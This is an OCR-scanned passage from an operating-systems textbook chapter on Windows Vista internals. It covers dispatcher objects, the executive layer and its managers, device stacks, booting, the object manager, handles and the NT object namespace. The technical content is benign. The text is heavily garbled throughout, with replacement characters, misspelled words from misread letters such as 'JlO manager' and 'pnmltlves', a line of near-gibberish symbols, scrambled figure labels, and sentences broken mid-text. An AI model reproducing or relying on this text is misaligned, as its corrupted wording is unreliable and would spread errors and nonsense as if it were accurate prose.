is signaled, waking all threads waiting for that event. 
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Since Windows uses a single unified mechanism for synchronization with 
kernel

.
-mode Objects, specialized APls, such as wait3 for waiting for child proc

esses m UNIX, are not needed to wait for events. Often threads want to wait for 
multiple events at once. In UNIX a process can wait for data to be available On 
any of 64 network sockets using the se!ect system calL In Windows there is a 
similar API WaitForMultipleObjects , but it allows for a thread to wait on any 
type of dispatcher object for which it has a handle. Up to 64 handles can be speci
fied to WaitForMu!tipleObjects, as wen as an optional timeout value. The thread 
becomes ready to run whenever any of the events associated with the handles is 
signaled, or the timeout occurs. 

There are actually two different procedures the kernel uses for making the 
threads waiting on a dispatcher object runnable. Signaling a notification object 
will make every waiting thread runnable. Synchronization objects only make 
the first waiting thread runnable and are used for dispatcher objects that imple
ment locldng pnmltlves, hke mutexes. When a thread waiting for a lock begins 
running again, the first thing it does is retry acquiring the lock again. If only one 
thre�d can hold �e loc� at a time, all the other threads made runnable might im
medIately block, mcumng lots of unnecessary context switching. The difference 
between dispatcher objects using synchronization versus notification is a flag in 
the dispatcheLheader Structure. 

As a little aside, mutexes in Windows are called "mutants" in the code be
cause �hey were required to implement the OS/2 semantics of not automatically 
unlocking themselves when a thread holding one exited, something Cutler consid
ered bizarre. 

The Executive Layer 

As shown in Fig. 1 1-13, below the kernel layer of NTOS there is the execu
tive. The executive layer is written in C, is mostly architecture independent (the 
memory 

.
manager being a notable exception), and has been ported to new proc� 

essOTS WIth only modest effort (MIPS, x86, PowerPC, Alpha, IA64, and x64). 
The executive contains a number of different components, all of which run using 
the control abstractions provided by the kernel layer. 

Each component is divided into internal and external data structures and inter
faces. The internal aspects of each component are hidden and only used within 
the component itself, while the external are available to all the other components 
within the executive. A subset of the external interfaces are exported from the 
ntoskrnl.exe executable and device drivers can link to them as "if the executive 
were a library. Microsoft calls many of the executive components "managers", 
because each is charge of managing some aspect of the operating services, such as 
I/O, memory, processes, objects, etc. 

As with most operating systems, much of the functionality in the Windows 
executive js like library code, except that it runs in kernel-mode so that its data 
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structures can be shared and protected from access by user-mode code, and so it 

can access privileged hardware state, such as the MMU control registers. But 

otherwise the executive is simply executing OS functions on behalf of its caller, 

and thus runs in the thread of its caller. 
When any of the executive functions block waiting to synchronize with other 

threads, the user-mode thread is blocke� too. This makes sense when working on 

behalf of a particular user-mode thread, but can be unfair when doing work felat

ed to common housekeeping tasks. To avoid hijacking the current thread when 

the executive determines that some housekeeping is needed, a number of kernel

mode threads are created when the system boots and dedicated to specific tasks, 

such as making sure that modified pages get written to disk. 

For predictable, low�frequency tasks, there is a thread that runs once a second 

and has a laundry list of items to handle. For less predictable work there is the 

pool of hi(rh�priority worker threads mentioned earlier which can be used to run 

bounded t:sks by queuing a request and signaling the synchronization event that 

the worker threads are waiting on. 
The object manager manages most of the interesting kernel-mode objects 

used in the executive layer. These include processes, threads, files, semaphores, 

110 devices and drivers, timers, and many others. As described previously, 

kernel-mode objects are really just data structures allocated and used by the ker

nel. In Windows, kernel data structures have enough in common that it is very 

useful to manage many of them in a unified facility. 
The facilities provided by the object manager include managing the allocfltion 

and freeing of memory for objects, quota accounting, supporting access to objects 

usino- handles, maintaining reference counts for kernel-mode pointer references as 

wellClas handle references, giving objects names in the NT namespace, and provid

ing an extensible mechanism for managing the lifecycle for each object. Kernel 

data structures which need some of these facilities are managed by the object 

manager. Other data structures, such as the control objects used by the kernel lay

er, or objects that are just extensions of kernel-mode objects, are not managed by 

them. 
Object manager objects each have a type which is used to specify how the 

lifecycle of objects of that type is to be managed. These are not types in the ob

ject�oriented sense, but are simply a conection of par�meters specifie� when the 

object type is created. To create a new type, an executlve component sImply calls 

an object manager API to create a new type. Objects are so central to the func

tioning of Windows that the object manager will be discussed in more detail in the 

next section. 
The JlO manager provides the framework for implementing I/O device driv

ers and provides a number of executive services specific to configuring, ac

cessing, and performing operations on devices. In Windows, device drivers not 

only manage physical devices but they also provide extensibility to the operating 

system. Many functions that are compiled into the kernel On other systems are 

SEC. 11.3 SYSTEM STRUCTURE 839 

dynamically loaded and linked by the kernel on Windows, including network pro
tocol stacks and file systems. .Recent versions of Windows have a lot more support for runnino- device driv
ers III user mode, and this is the preferred model for new device drivers. There 
ar� hundreds of thousands of different device drivers for Windows Vista workina 
WIth mo�e than a millio? distinct devices. This represents a lot of code to get cor� 
:ect. It IS much better If bugs cause a device to become inaccessible by crashing 
In a user-mode �roces� rather than causing the system to bugcheck. Bugs in 
kernel-mode deVIce dnvers �e the major _ source of the dreaded BSOD (BIue 
Screen Of Death) where Wmdows detects a fatal errOr within kernel-mode and 
shuts down or reboots the system. BSOD's are comparable to kernel panics on 
UNIX systems. 

In ess�nce, Microsoft has .now officially recognized what researchers in the 
area of ml�ro�ernels such as MINIX 3 and L4 have known for years: the more 
cO.de there IS m the kernel, the more bugs there are in the kernel. Since device 
dnvers make up something like 70% of the code in the kernel, the more drivers 
th�t can be I?oved i?to user-mode processes; where a bug will only trigger the 
faIlure of a SIngle

. 
dnver (rather than bringing down the entire system) the better. 

The trend of movmg code from the kernel to user-mode processes is expected to 
accelerate in the coming years. 

. ��e I/O manager also includes the plug-and-play and power management 
faClht:J.es. Plug-and-play comes into action when new devices are detected on the 
s�stem. The plug-and-play subcomponent is first notified. It works with a ser
VIce, the .u�er-mode plug-and-play manager, to find the appropriate device driver 
and lo

.
ad It Into the system. F!n�ing the right device driver is not always easy, and 

som�tImes depe�ds on sophIsticated matching of the specific hardware device 
verSlOn to � partIcular v�rsi�n of the drivers. Sometimes a single device supports 
a.standard mterf�ce WhICh IS supported by mUltiple different drivers, written by 
dIfferent comparues. 

Pow:r management reduce� power consumption when possible, extending 
battery hfe on notebooks, and saving energy on desktops and servers. Getting 
power management correct can be challenging, as there are many subtle depen
dencies between devices and the buses that connect them to the CPU and memo� 
ry. Power consumption is not just affected by what devices are powered�on, but 
also by th� clock rate of the C�U, which is also controlled by the power manager. 

We WIll study I/O further m Sec. 1 1 .7 and the most important NT file system 
N1FS, in Sec. 11.8. 

' 

The �roces.s manage
.
r manages the creation and termination of processes and 

threads, mc1u�Ing establIshing the policies and parameters which govern them. 
But the operatlo�al aspects of threads are determined by the kernel layer, which 
controls schedulmg and synchronization of threads, as well as their interaction 
with the control objects, contain threads, an address space, 
and a handle table process can use to refer to kemel-
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mode objects. Processes also include information needed by the scheduler for 
switching between address spaces and managing process-specific hardware infor
mation (such as segment descriptors). We will study process and thread man-
agement in Sec. 1 1  A . 

The executive memory manager implements the demand-paged vIrtual 
memory architecture. It manages the mapping of virtual pages onto physical page 
frames, the management of the available physical frames, and management of the 
pagefile on disk used to back private instances of virtual pages that are no longer 
loaded in memory. The memory manager also provides special facilities for large 
server applications such as databases and programming language run-time c�mp�
nents such as garbage collectors. We will study memory management later m thIS 
chapter, in Sec. 1 l .S. 

The cache manager optimizes the perfonnance of IJO to the file system by 
maintaining a cache of file system pages in the kernel virtual address space. The 
cache manager uses virtually addressed caching, that is, organizing cached pages 
in terms of their location in their files. This differs from physical block caching, 
as in UNIX, where the system maintains a cache of the physically addressed 
blocks of the raw disk volume. 

Cache management is implemented using memory mapping of the files. The 
actual caching is performed by the memory manager. The cache manag�r need 
only be concerned with deciding what parts ,of what files to cache, ensunng that 
cached data is flushed to disk in a timely fashion, and managing the kernel virtual 
addresses used to map the cached file pages. If a page needed for I/O to a file is 
not available in the cache, the page will be faulted in using the memory manager. 
We will study the cache manager in Sec. 1 1 .6. 

The security reference monitor enforces Windows' elaborate security mech
anisms, which support the international standards for computer security called 
Common Criteria, an evolution of United States Department of Defense Orange 
Book security requirements. These standards specify a large number of rules that 
a conforming system must meet, such as authenticated login, auditing, zeroing of 
allocated memory, and many more. One of the rules requires that aU access 
checks be implemented by a single module within the system, In Windows this 
module is the security reference monitor in the kernel. We will study the security 
system in more detail in Sec. 1 1 .9. 

The executive contains a number of other components that we will briefly 
describe, The configuration manager is the executive component which imple
ments the registry, as described earlier. The registry contains configuration data 
for the system in file system files called hives. The most critical hive is the SYS
TEM hive which is loaded into memory at boot time. Only after the executive 
layer has successfully initialized its key components, including the I/O drivers 
that talk to the system disk, is the in-memory copy of the hive reassociated with 

the copy in the ftle system. �hus '\1 some\�l\\� b�� ����e��
e
��\\e \�\�� tG tGG\ 

the system, the on-disk copy is much less lIkely to be corrop . 
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The LPC component provides for a highly efficient inter-process communica
tion used between processes running on the same system. It is one of the data 
transports used by the standards-based remote-procedure call (RPC) facility to im
plement the client/server style of computing, RPC also uses named pipes and 
TCPIIP as transports. 

LPC was substantially enhanced in Windows Vista (it is now called ALPe, 
for Advanced LPC) to provide support for new features in RPC, including RPC 
from kernel-mode components, like drivers. LPC was a critical component in the 
original design of NT because it is used by the subsystem layer to implement 
communication between library stub routines that run in each process and the 
subsystem process which implements the facilities common to a particular operat
ing system personality, such as Win32 or POSIX. 

In Windows NT 4.0 much of the code related to the Win32 graphical interface 
was moved into the kernel because the then-current hardware could not provide 
the required performance. This code previously resided in the csrss.exe subsys
tem process which implemented the Win32 interfaces. The kernel-based our 
code resides in a special kernel-driver, win32k.sys. This change was expected to 
improve Win32 performance because the extra user-modelkernel-mode transitions 
and the cost of switching address spaces to implement communication via LPC 
was eliminated. But it has not been as successful as expected because the re
quirements on code running in the kernel are very strict, and the additional over
head of running in kernel-mode offsets some of the gains from reducing switching 
costs. 

The Device Drivers 

The, final part of Fig. 1 1-13 consists of the device drivers. Device drivers in 
Windows are dynamic link libraries which are loaded by the NTOS executive. 
Though they are primarily used to implement the drivers for specific hardware, 
such as physical devices and I/O buses, the device driver mechanism is also used 
as the general extenSibility mechanism for kernel mode. As described above, 
much of the Win32 subsystem is loaded as a driver. 

The I/O manager organizes a data flow path for each instance of a device, as 
shown in Fig. 1 1-16. This path is called a device stack and consists of private 
instances of kernel device objects allocated for the path. Each device object in 
the device stack is linked to a particular driver object, which contains the table of 
routines to use for the I/O request packets that flow through the'device stack. In 
some cases the deyices in the stack represent drivers whose sole purpose is to 
filter I/O operations aimed at a particular device, bus, or network driver. Filtering 
is used for a number of reasons. Sometimes preprocessing or post-processing IJO 
overatiol\s results in a cleaner architecture, while other times it is just pragmatic 

th S or n· ghts to modify a driver are not avallable and flltenng lS 
because e source 
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k d 't Filters can also implement completely new functionality, 
used to wor aroun 1 ·  . ' 1 . d'lSks into partitions or multiple dIsks Into RAID vo urnes. such as turmng 

IRP 

!10 manager 

File system filler driver 

File system filter Driver 

NTFS driver 

Volume manager driver 

Disk class driver 

C: Disk partition(sj Disk mini-port driver 

� � �  
. k Each device object Device stack . 

o.
e�lce stac . links to a driver consisting of device 

consls.1lng of d�:,ce object with function objects for 0: objects for . 
entry points 

Fi nre 11-16. Simplified depiction of device stacks for two NTIS �le volu�es. 
Th� I/O request packet is passed from down the stack. The appropnate routl�es 
f the associated drivers are called at each level in the stack. The deVice 
s::s themselves consist of device objects allocated speciftcally to each stack. 

IRP 

The
-
file systems are loaded as drivers. Each instance of a volume for a file 

h a device object created as part of the device stack for that volum�. i�i��ev:C: object will be linked to the driver obj�ct for the file system appropn� 
h oIume's formattino Special filter dnvers, called file system filter 

ate to t e v t>. . b' I . . rt device ob1ects before the file system deVIce 0 �ect to app y 
drivers can lUse J . t (T 
functio�alitY to the I/O requests being sent to each volume, such as mspec mt> 

data read or written for viruses. . PIIP The network protocols, such as Windows Vista's mtegrated IPv4IIPv6 T� . .  
. lementation are also loaded as drivers using the I/O model. For compatlbll:ty :� the older MS_OOS-based Windows, the TCPIIP driver in:-Plements a speCIal 

protocol for talking to network interfaces on top of the W mdows I/O model. 
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There are other drivers that also implement such arrangements, which Windows 
calls mini-ports. The shared functionality is in a class driver. For example, 
common functionality for SCSI or IDE disks or USB devices is supplied by a 
class driver, which mini-port drivers for each particular type of such devices link 
to as a library. 

We will not discuss any particular device driver in this chapter, but wiJI pro
vide more detail about how the I/O manager interacts with device drivers in Sec. 
I ! .7. 

11.3.2 Booting Windows Vista 

Getting an operating system to run requires several steps. When a computer 
is turned on, the CPU is initialized by the hardware, and then set to start executing 
a program in memory. But the only available code is in some fonn of nonvolatile 
CMOS memory that is initialized by the computer manufacturer (and sometimes 
updated by the user, in a process called flashing). On most PC's this initial pro
gram is the BIOS (Basic Input/Output System) which knows how to talk to the 
standard types of devices found on a Pc. The BIOS brings up Windows Vista by 
first loading small bootstrap _ programs found at the beginning of the disk drive 
partitions. 

The bootstrap programs know how to read enough infonnation off a file sys
tem volume to find the standalone Windows BootMgr program in the root direc
tory. BootMgr detennines if the system had previously been hibernated or was in 
stand-by mode (special power-saving modes that allow the system to turn back on 
without booting). If so, BootMgr loads and executes WinResume.exe. Otherwise 
it loads and executes WinLoad.exe to perform a fresh boot. WinLoad loads the 
boot components of the system into memory: the kernel/executive (normally 
ntoskrnl.exe), the HAL (hal.dll), the file containing the SYSTEM hive, the 
Win32k.sys driver containing the kernel-mode parts of the Win32 subsystem, as 
well as images of any other drivers that are listed in the SYSTEM hive as boot 
drivers-meaning they are needed when the system first boots. 

Once the Windows boot components are loaded into memory, control is given 
to low-level code in NTOS which proceeds to initialize the HAL, kernel and exec
utive layers, link in the driver images, and access/update configuration data in the 
SYSTEM hive. After all the kernel-mode components are initialized, the first 
user-mode process is created using for running the smss.exe program (which is 
like letclinit in UNIX systems). 

The Windows boot programs have logic to deal with common problems users 
encounter when booting the system fails. Sometimes installation of a bad device 
driver, or running a program like regedit (which can corrupt the SYSTEM hive), 
will prevent the system from booting normally. There is support for ignoring 
recent changes and booting to the last known good configuration of the system. 
Other boot options include safe-boot which turns off many optional drivers and 
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the recovery console, which fues up a cmd.exe command-line window, providing 
an experience similar to single-user mode in UNIX. 

. . 
Another common problem for users has been that occaSIOnally some Wm

dows systems appear to be v.ery, flaky, with frequent (see�ingly ,randon:) crashes 
of both the system and applIcatIons. Data taken from Mlcrosoft s On-lIne Crash 
Analysis program provided evidence that m�ny of the�e crashe� were due �o bad 
physical memory, so the boot �rocess ,in Wmdows VIsta provIdes the o�uon of 
running an extensive memory dIagnostIC. Perhaps future PC hardware wIll com
monly support ECC (or maybe parity) for memory, but, most of

,
the des�t?p and 

notebook systems today are vulnerable to even single-bIt errors m the bIllIons of 
bits of memory they contain, 

11.3.3 Implementation of the Object Manager 

The object manager is probably the single most important componen� in the 
Windows executive, which is why we have already introduced many of Its con
cepts, As described earlier, it provides a uniform and consistent interface for 
manaoino system resources and data structures, such as open files, processes, 
threads, �emory sections, timers, devices, drivers, and semaphores. Even m�re 
specialized objects representing things like-kernel transactions, profil�s, sec�nty 
tokens and Win32 desktops are managed by the object manager. DeVIce objects 
link to�ether the descriptions of the VO system, including providing the link be
tween the NT namespace and file system volumes. The configuration manager 
uses an object of type Key to link in the registry hives. The object manager itself 
has objects it uses to manage the NT namespace and impl�ment objec�s using a 
common facility, These are directory, symbolic link, and object-type objects. 

The uniformity provided by the object manager has various facets, All these 
objects use the same mechanism for how they are created, destroyed, and ac
counted for in the quota system, They can all be accessed fron: user -�ode proc
esses using handles. There is a unified convention for managmg pOl�ter refer
ences to objects from within the kernel. Objects can be given nam�s m the, NT 
namespace (which is managed by the object manager), Dispatcher objects (objects 
that beoin with the common data structure for signaling events) can use common 
synchr;nization and notification interfaces, like WaitForMultipleObjects . There is 
the common security system with ACLs enforced on objects opened by name, and 
access checks on each use of a handle. There are even facilities to help kemel-
mode developers debug problems by tracing the use of objects. . .  . A key to understanding objects is to realize that an (executive) object IS Just a 
data structure in the virtual memory accessible to kernel mode. These data struc
tures are commonly used to represent more abstract concepts. As examples, exec
utive file objects are created for each instance of a file system file that has been 
opened. Process objects are created to represent each process. 
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A consequence of the fact that objects are just kernel data structures is that when the system is rebooted (or crashes) all Objects are lost. When the system bo?ts, there are no obje�ts present at aU, not even the object type descriptors. All object types, and the objects themselves, have to be created dynamically by other components of the �xecutive layer by calling the interfaces provided by the Object manager. When objeCts are created and a name is specified, they can later be referenced through the NT namespace. So building up the objects as the system boots also builds the NT namespace. 
Objects have a structure, as shown in Fig. 1 1-17. Each object contains a header with certain information common to all objects of all types, The fields in this header include the object's name, the Object directory in which it lives in the NT namespace, and a pointer to a security descriptor representing the ACL for the object. 

={. 
Object 
data Object-specific data 

Open method 
Close method 
Delete method 
Query name method 
Parse method 
Security method 

Figure 11-17. The structure of an executive object managed by the object 
manager 

The me�or� allocated for objects comes from one of two heaps (or pools) of 
I?em�ry mamtam�d by the executive layer. There are (malioc-like) utility func
tlOns 10 the executIve that allow kernel-mode components to allocate either page
ab�e kernel memory or nonpageable kernel memory. Nonpageable memory is re
qUIred for any data structure or kernel-mode object that might need to be accessed 
from a CPU priority level of 2 or more. This includes ISRs and DPCs (but not 
APCs), and the thread scheduler itself, The pagefault handle also requires its data 
structures to be allocated from nonpageable kernel memory to avoid recursion, 

Most allocations from the kernel heap manager are achieved using per-proc
essor lookaside lists which contain LIFO lists of allocations the same size. These 



846 CASE STUDY 2: WINDOWS VISTA CHAP. 1 I  

UFOs are optimized for lock-free operation, improving the perfonnance and 
scalability of the system. 

Each object header contains a quota charge field, which is the charge levied 
against a process for opening the object. Quotas are used to keep a user from 
using too many system resources. There are separate limits for nonpageable ker
nel memory (which requires allocation of both physical memory and kernel virtu
al addresses) and pageable kernel memory (which uses up kernel virtual ad
dresses). When the cumulative charges for either memory type hit the quota limit, 
allocations for that process fail due to insufficient resources. Quotas also are used 
by the memory manager to control working-set size, and the thread manager to 
limit the rate of CPU usage. 

Both physical memory and kernel virtual addresses are valuable resources. 
When an object is no longer needed, it should be removed and its memory and ad� 
dresses reclaimed. But if an object is reclaimed while it is still in use, then the 
memory may be allocated to another object, and then the data structures are likely 
to become corrupted. It is easy for this to happen in the Windows executive layer 
because it is highly multithreaded, and implements many asynchronous operations 
(functions that return to their caller before completing work on the data structures 
passed to them). 

To avoid freeing objects prematurely due to race conditions, the object man
ager implements a reference counting mechanism, and the concept of a refer� 
enced pointer. A referenced pointer is needed to access an object whenever that 
object is in danger of being deleted, Depending on the conventions regarding 
each particular object type, there are only certain times when an Object might be 
deleted by another thread. At other times the use of locks, dependencies between 
data structures, and even the fact that no other thread has a pointer to an object are 
sufficient to keep the object from being prematurely deleted, 

Handles 

User-mode references to kernel-mode objects cannot use painters because 
they are too difficult to validate. Instead kernel-mode objects must be named in 
some other way so the user code can refer to them. Windows uses handles to 
refer to kernel-mode objects. Handles are opaque values which are converted by 
the object manager into references to the specific kernel-mode data structure 
representing an Object. Figure 1 1-18 shows the handle table data structure used to 
translate handles into object pointers. The handle table is expandable by adding 
extra layers of indirection. Each process has its own table, including the system 
process which contains all the kernel threads not associated with a user-mode 
process. 

Figure 1 1-19 shows a handle table with two extra levels of indirection, the 
maximum supported. It is sometimes convenient for code executing in kernel
mode to be able to use handles rather than referenced pointers. These are called 
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creates). These 3 bits are masked off before the pointer is followed. The other 
word contains a 32�bit rights mask. It is needed because permissions checking is 
done only at the time the object is created or opened. If a process has only read 
permission to an object, all the other fights bits in the mask will be Os, giving the 
operating system the ability to reject any operatIon on the object other than reads. 

The Object Name Space 

Processes can share objects by baving one process duplicate a handle to the 
object into the others. But this requires that the duplicating process have handles 
to the other processes, and is thus impractical in many situations, such as when 
the processes sharing an object are unrelated, or are protected from each other. In 
other cases it is important that objects persist even when they are not being used 
by any process, such as device objects representing physical devices, or mounted 
volumes, or the objects used to implement the object manager and the NT name
space itself. To address general sharing and persistence requirements, the object 
manager allows arbitrary objects to be given names in the NT namespac

.
e when 

they are created. However, it is up to the executive component that mampulates 
objects of a particular type to provide interfaces that support use of the object 
manager's naming facilities. 

The NT namespace is hierarchical, with the object manager implementing di
rectories and symbolic links. The namespace is also extensible, allowing any ob
ject type to specify extensions of the namespace by supplying a routine named 
Parse routine. The Parse routine is one of the procedures that can be supplied for 
each object type when it is created, as shown in Fig. 1 1-20. 

Procedure When called Notes 

Open For every new handle Rarely used 

Parse For object types that extend the namespace Used for files and registry keys 

Close At last handle close Clean up visible side effects 

Delete At last pointer dereference Object is about to be deleted 

Security Get or set object's security descriptor Protection 

QueryName Get object's name Rarely used outside kernel 

Figure 11·20. The object procedures supplied when specifying a new object 
type. 

The Open procedure is rarely used because the default object manager behav
ior is usually what is needed and so the procedure is specified as NULL for almost 
all object types. 

The Close and Delete procedures represent different phases of being done 
with an object. When the last handle for an object is closed, there may be actions 
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necessary to clean up the state, which are perfonned by the Close procedure. 
When the final pointer reference is removed from the object, the Delete procedure 
is called so that the object can be prepared to be deleted and have its memory 
reused. With file objects, both of these procedures are implemented as callbacks 
into the I/O manager, which is the component that declared the file object type. 
The object manager operations result in corresponding I/O operations that are sent 
down the device stack associated with the file object, and the file system does 
most of the work. 

The Parse procedure is used to open or create objects, like files and registry 
keys, that extend the NT namespace. When the object manager is attempting to 
open an object by name and encounters a leaf node in the part of the namespace it 
manages, it checks to see if the type for the leaf node object has specified a Parse 
procedure. If so, it invokes the procedure, passing it any unused part of the path
name. Again using file objects as an example, the leaf node is a device object 
representing a particular file system volume. The Parse procedure is imple
mented by the I/O manager, and results in an I/O operation to the file system to 
fill in a file object to refer to an open instance of the file that the pathname refers 
to on the volume. We will explore this particular example step-by-step below. 

The QueryName procedure is used to look up the name associated with an ob
ject. The Security procedure is used to get, set, or delete the secmity descriptors 
on an Object. For most objects types this procedure is supplied as a standard entry 
pOint in the executive's Security Reference Monitor component. 

Note that the procedures in Fig. 1 1-20 do not perfonn the most interesting op
erations for each type of object. Rather, these procedures supply the callback 
functions the object manager needs to correctly implement functions such as pro
viding access to objects and cleaning up objects when done with them. Apart 
from these callbacks, the object manager also provides a set of generic object rou
tines for operations like creating objects and object types, duplicating handles, 
getting a referenced pointer from a handle or name, and adding and subtracting 
reference counts to the Object header. 

The interesting operations on objects are the native NT API system calls, like 
those shown in Fig. 11-9, such as NtCreateProcess, NtCreateFile, or NtClose (the 
generic function that closes all types of handles). 

Although the object name space is crucial to the entire operation of the sys
tem, few people know that it even exists because it is not visible to users without 
special viewing tools. One such viewing tool is winobj, available for free at 
www.microsoft.comitechnetlsysinternals. When run. this tool depicts an object 
name space that typically contains the Object directories listed· in Fig. 1 1-21 as 
well as a few others. 

The strangely named directory \ ?? contains the names of all the MS-DOS
style device names, such as A: for the floppy disk and C: for the first hard disk. 
These names are actually symbolic links to the directory \Device where the de
vice objects live. The name \ ? ?  was chosen to make it alphabetically first so as to 
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Directory Contents 

?? Starting place for looking up MS-DOS devices !ike C; 

DosDevices Official name of ??, but really just a symbolic !ink to ?? 

Device All discovered 1/0 devices 

Driver Objects corresponding to each loaded device driver 

ObjectTypes The type objects such as those listed in Fig. 1 1 -22 

Windows Objects for sending messages to all the Win32 GUI windows 

BaseNamedObjects User-created Win32 objects such as semaphores, mutexes, etc. 

Arcname Partition names discovered by the boot loader 

NLS National Language Support objects 

FileSystem File system driver objects and file system recognizer objects 

Security Objects belonging to the security system 

KnownDLLs Key shared libraries that are opened early and held open 

Figure 11�21. Some typical directories in the object name space. 

speed up lookup of all path names beginning with a drive letter. The contents of 
the other object directories should be self explanatory. 

. As described above, the object manager keeps a separate handle count III 
every object. This count is never larger than the refe:enc�d �ointer count because 
each valid handle has a referenced pointer to the object III lts handle table entry. 
The re!lson for the separate handle count is that many types of obje�ts may need to 
have their state cleaned up when the last user-mode reference dIsappears, even 
though they are not yet ready to have their memory �eleted. 

One example is file objects, which represent an mstance of an opened fIle. In 
Windows files can be opened for exclusive access. When the last handle for a file 
object is closed it is important to delete the exclusive access at that point rather 
than wait for any incidental kernel references to eventually go away (e.g., after 
the last flush of data from memory). Otherwise closing and reopening a file from 
user-mode may not work as expected because th� file still a?pears to be in �se. 

Though the object manager has comprehensive mechamsms. for managmg �b
ject lifetimes within the kernel, neither the NT APIs nor the Wm32 �PIs prOVide 
a reference mechanism for dealing with the use of handles across multIple concur
rent threads in user mode. Thus many multithreaded applications have race con
ditions and bugs where they will close a handle in one thread before they are fin
ished with it in another. Or close a handle multiple times. Or close a handle that 
another thread is still using and reopen it to refer to a different object. 

Perhaps the Windows APls should have been designed �o require a close API 
per object type rather than the single generic NtC!ose operatIon. That would have 
at least reduced the frequency of bugs due to user-mode threads closing the wrong 
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handles. Another solution might be to embed a sequence field in each handle in 
addition to the index into the handle table. 

To help application writers find problems like these in their programs, Win
dows has an application verifier that software developers can download from 
Microsoft. Similar to the verifier for drivers we will describe in Sec. 1 1 .7, the ap
plication verifier does extensive rules checking to help programmers find bugs 
that might not be found by ordinary testing. It can also turn on a FIFO ordering 
for the handle free list, so that handles are not reused immediately (i.e., turns off 
the better-perfonning LIFO ordering nonnally used for handle tables). Keeping 
handles from being reused quickly transforms situations where an operation uses 
the wrong handle into use of a closed handle, which is easy to detect. 

The device object is one of the most important and versatile kernel-mode ob* 
jects in the executive. The type is specified by the I/O manager, which along with 
the device drivers, are the primary user of device objects. Device objects are 
closely related to drivers, and each device object usually has a link to a specific 
driver object, which describes how to access the lIO processing routines for the 
driver corresponding to the device. 

Device objects represent hardware devices, interfaces, and buses, as well as 
logical disk partitions, disk volumes, and even file systems and kernel extensions 
like antivirus filters. Many device drivers are given names, so they can be ac
cessed without having to open handles to instances of the devices, a� in UNIX. 
We will use device objects to illustrate how the Parse procedure is used, as illus
trated in Fig. 1 1-22: 

L When an executive component, such as the I/O manager imple
menting the native system call NtCreateFile, calls ObOpenOb
jectByName in the object manager, it passes a Unicode pathname for 
the NT namespace, say \ ??\C:Voo\bar. 

2. The object manager searches through directories and symbolic links 
and ultimately finds that \ ??\ C: refers to a device object (a type de
fined by the I/O manager). The device object is a leaf node in the 
part of the NT name space that the object manager manages. 

3. The object manager then calls the Parse procedure for this object 
type, which happens to be 10pParseDevice implemented by the I/O 
manager. It not only passes a pointer _ to the device Object it found 
(for C:), but also the remaining string \foo\bar. 

4. The 1/0 manager will create an IRP (If 0 Request Packet), allocate 
a file object, and send the request to the stack of I/O devices deter� 
mined by the device object found by the object manager. 

5. The IRP is passed down the I/O stack until it reaches a device object 
representing the file system instance for C:. At each stage, control is 
passed to an entry point into the driver object associated with the 
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Figure 11-22. VO and object manager steps for creating/opening a file and get
ting back a file handle. 

device object at that level. The entry point used in this case is for 
CREATE operations, since the request is to create or open a file 
named Voo \bar on the volume. 

6. The device objects encountered as the IRP heads toward the file sys
tem represent file system filter drivers, which may modify the I/O 
operation before it reaches the me system device object. Typically 
these intermediate devices represent system extensions like antivirus 
filters. 

7. The file system device object has a link to the file system driver ob
ject, say NTFS. So, the driver object contains the address of the 
CREATE operation within NTFS. 

8. NTFS will fill in the file object and return it to the I/O manager, 
which returns back up through all the devices on the stack until 
10pParseDevice returns to the object manager (see Sec. 1 1 .8). 

9. The object manager is finished with its namespace lookup. It re
ceived back an initialized object from the Parse routine (which hap
pens to be a file object-not the original device object it found). So 
the object manager creates a handle for the file object in the handle 
table of the current process, and returns the handle to its caller. 

SEC. 1 1 .3 SYSTEM STRUCTURE 

10. The final step is to return back to the user-mode caller, which in this 
example is the Win32 API CreateFile which will return the handle to 
the application. 

853 

Executive components can create new types dynamically, by calling the 
ObCreateObjectType interface to the object manager. There is no definitive list 
of object types and they change from release to release. Some of the more com
mon ones in Windows Vista are listed in Fig. 1 1-23. Let us briefly go over the 
object types in the figure. 

Type Description 

Process User process 

Thread Thread within a process 

Semaphore Counting semaphore used for inter-process synchronization 

Mutex Binary semaphore used to enter a critical region 

Event Synchronization object with persistent state (signaled/not) 

ALPC Port Mechanism for inter-process message passing 

Timer Object allowing a thread to sleep for a fixed time interval 

Queue I Object used for completion notification on asynchronous lIO 

Open file Object associated with an open file 
. 

Access token Security descriptor for some object 

Profile Data structure used for profiling CPU usage 

Section Object used for representing mappable files 

Key Registry key, used to attach registry to object manager namespace 

Object directory Directory for grouping objects within the object manager 

Symbolic link Refers to another object manager object by pathname 

Device 1/0 device object for a physical device, bus, driver, or volume instance 

Device driver Each loaded device driver has its own object 

Figure 11-23. Some common executive object types managed by object manager. 

Process and thread are obvious. There is one object for every process and 
every thread, which holds the main properties needed to manage the process or 
thread. The next three objects, semaphore, mutex, and event, all deal with inter
process synchronization. Semaphores and mutexes work as expected, but with 
various extra bells and whistles (e.g., maximum values and timeouts). Events can 
be in one of two states: signaled or nonsignaled. If a thread waits on an event that 
is in signaled state, the thread is released immediately. If the event is in nonsig
naled state, it blocks until some other thread signals the event, which releases ei
ther all blocked threads (notification events) or just the first blocked thread (syn
chronization events). An event can also be set up so that after a signal has been 
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successfully waited for, i t  will automatically revert to the nonsignaled state, rather 
than staying in the signaled state. . . . Port, timer, and queue objects also relate to coromumcatlon and synchronIza
tion. Ports are channels between processes for exchanging LPC messages. 
Timers provide a way to block for a specific time intervaL Q�eues are used to no
tify threads that a previously started asynchronous I/O operatIOn has completed or 
that a port has a message waiting. (They are designea to manage th� level of con
currency in an application, and are used in high-performance mUltiprocessor ap-
plications, like SQL). . '  

Open file objects are created when a file 13 opened. FlIes that are not open� 
do not have objects managed by the object manager. Access tokens are s�cunty 
objects. They identify a user and ten what specia} privileges the user ha�, If any. 
Profiles are structures used for storing periodic samples of the program counter of 
a runnin 0" thread to see where the program is spending its time. 

Sections are used to represent memory objects that applications can ask the 
memory manager to map into their address space. They rec?rd the section of the 
file (or pagefile) that represents the pages of the memory object when they are. o

n 
disk. Keys represent the mount point for the registry namespace on the object 
manager namespace. There is usually only one key object, named \REGISTRY, 

which connects the names of the registry keys and values to the NT namespace. 
Object directories and symbolic links are entirely l�ca� to the p�rt of the NT 

namespace managed by the object manager. They are sunIlar to theIr file syste� 
counterparts: Directories allow related objects to be collected together. S�mb?lIc 
links allow a name in one part of the object namespace to refer to an object 10 a 
different part of the object namespace. . . 

Each device known to the operating system has one or more devIce objects 
that contain information about it and are used to refer to the device by the system. 
Finally, each device driver that has been loaded has a ?river ?bject in the object 
space. The driver objects are shared by all the devIce objects that represent 
